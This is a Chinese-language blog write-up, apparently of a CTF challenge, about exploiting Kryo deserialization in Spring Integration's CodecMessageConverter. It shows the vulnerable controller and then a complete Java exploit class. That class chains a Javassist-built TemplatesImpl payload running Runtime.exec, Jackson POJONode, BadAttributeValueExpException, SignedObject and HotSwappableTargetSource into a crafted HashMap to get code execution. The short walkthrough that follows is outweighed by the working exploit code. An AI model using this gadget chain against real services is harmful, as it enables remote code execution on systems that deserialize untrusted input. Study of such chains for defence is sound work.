前言
Kryo是一个快速序列化/反序列化工具,依赖于字节码天生机制(底层使用了ASM库),因此在序列化速度上有一定的上风,但正因如此,其使用也只能限定在基于JVM的语言上。
Kryo序列化出的效果,是其自定义的,独有的一种格式。由于其序列化出的效果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有消耗)
环境搭建
- <dependency>
- <groupId>com.esotericsoftware</groupId>
- <artifactId>kryo</artifactId>
- <version>5.2.0</version>
- </dependency>
- <dependency>
- <groupId>org.springframework</groupId>
- <artifactId>spring-messaging</artifactId>
- <version>5.3.18</version>
- </dependency>
- <dependency>
- <groupId>org.springframework.integration</groupId>
- <artifactId>spring-integration-core</artifactId>
- <version>5.3.1.RELEASE</version>
- </dependency>
- <dependency>
- <groupId>org.javassist</groupId>
- <artifactId>javassist</artifactId>
- <version>3.28.0-GA</version>
- </dependency>
复制代码 例题
- package com.sea;
- import java.util.Base64;
- import org.springframework.integration.codec.CodecMessageConverter;
- import org.springframework.integration.codec.kryo.MessageCodec;
- import org.springframework.messaging.Message;
- import org.springframework.messaging.MessageHeaders;
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.ResponseBody;
- @Controller
- public class MessageController {
- public MessageController() {
- }
- @ResponseBody
- @RequestMapping({"/"})
- public Object message(String message) throws Exception {
- byte[] decodemsg;
- if (message == null) {
- decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
- } else {
- try {
- decodemsg = Base64.getDecoder().decode(message);
- } catch (Exception var5) {
- decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
- }
- }
- CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
- Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
- return messagecode.getPayload();
- }
- }
复制代码 漏洞点在codecMessageConverter.toMessage里面,而且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessage和fromMessage,对应的就是反序列化和序列化了

Kyro反序列化链
- package com.example.kryo;
- import com.esotericsoftware.kryo.Kryo;
- import com.fasterxml.jackson.databind.node.POJONode;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import com.sun.org.apache.xpath.internal.objects.XString;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.CtConstructor;
- import javassist.CtNewConstructor;
- import org.objenesis.strategy.StdInstantiatorStrategy;
- import org.springframework.aop.target.HotSwappableTargetSource;
- import org.springframework.integration.codec.CodecMessageConverter;
- import org.springframework.integration.codec.kryo.MessageCodec;
- import org.springframework.messaging.Message;
- import org.springframework.messaging.MessageHeaders;
- import org.springframework.messaging.support.GenericMessage;
- import javax.management.BadAttributeValueExpException;
- import javax.xml.transform.Templates;
- import java.io.ByteArrayOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Array;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.security.*;
- import java.util.Base64;
- import java.util.HashMap;
- public class Exploit {
- public static void main(String[] args) throws Exception {
- Kryo kryo = new Kryo();
- kryo.setRegistrationRequired(false);
- kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
- // 二次反序列化
- ClassPool pool = ClassPool.getDefault();
- CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
- ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
- CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec("calc");}", ctClass);
- ctClass.addConstructor(ctConstructor);
- byte[] byteCode = ctClass.toBytecode();
- Templates templates = new TemplatesImpl();
- setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
- setFieldValue(templates, "_name", "whatever");
- setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
- POJONode pojoNode1 = new POJONode(templates);
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
- setFieldValue(badAttributeValueExpException, "val", pojoNode1);
- // 初始化 SignedObject
- KeyPairGenerator keyPairGenerator;
- keyPairGenerator = KeyPairGenerator.getInstance("DSA");
- keyPairGenerator.initialize(1024);
- KeyPair keyPair = keyPairGenerator.genKeyPair();
- PrivateKey privateKey = keyPair.getPrivate();
- Signature signingEngine = Signature.getInstance("DSA");
- // 设置二次反序列化入口
- SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
- // 一次反序列化
- POJONode pojoNode2 = new POJONode(signedObject);
- HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
- HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
- // 手动构造 HashMap 以防触发正向利用链
- HashMap hashMap = new HashMap();
- setFieldValue(hashMap, "size", 2);
- Class nodeC;
- try {
- nodeC = Class.forName("java.util.HashMap$Node");
- } catch (ClassNotFoundException e) {
- nodeC = Class.forName("java.util.HashMap$Entry");
- }
- Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
- nodeCons.setAccessible(true);
- Object tbl = Array.newInstance(nodeC, 2);
- Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
- Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
- setFieldValue(hashMap, "table", tbl);
- //String serial = serial(hashMap);
- //System.out.println(serial);
- CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
- // 序列化
- GenericMessage genericMessage = new GenericMessage(hashMap);
- byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
- // 反序列化
- Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
- messagecode.getPayload();
- }
- public static String serial(Object o) throws IOException, NoSuchFieldException {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- // Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
- // writeReplaceMethod.setAccessible(true);
- oos.writeObject(o);
- oos.close();
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
- }
- public static void setFieldValue(Object obj, String name, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj, value);
- }
- }
复制代码 分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波

进入decode方法

这里触发kryo的readObject,手动进去

进入read方法,这里为MapSerializer的read方法
这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |